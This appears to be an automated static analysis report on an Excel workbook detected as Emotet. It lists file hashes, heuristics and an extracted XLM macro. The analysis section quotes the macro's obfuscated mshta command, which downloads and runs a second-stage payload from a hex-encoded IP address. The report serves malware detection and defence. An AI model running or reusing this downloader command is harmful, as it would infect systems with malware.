Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 6577c9fea8500bde…

MALICIOUS

Office (OLE) / .XLSX

128.2 KB Created: 2022-01-17 21:27:03 Authoring application: Microsoft Excel
MD5: fd1776fcd5ac15818b96b3721e721a37 SHA-1: 8cc14df6f89a090fe32cfccc3279b9a2bc2d5fc9 SHA-256: 6577c9fea8500bde03a74901072bf5c391ef8a7d8d9968c26c08d4d60a1e54ec
140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains Excel 4.0 macros, specifically an Auto_Open macro, which is a critical finding. The macro attempts to execute a command that downloads a file from a hardcoded URL, identified as 'cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/c^c.h^tm^l'. This behavior is consistent with Emotet, as indicated by the ClamAV detection. The macro's intent is to download and execute a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • ClamAV: Doc.Downloader.EmotetExcel01220-9936774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel01220-9936774-0
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
a0fd1b709c0182b7bfad87bd5382ad41592e9af0d0093f5e68d1ff145f18d235
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 653 bytes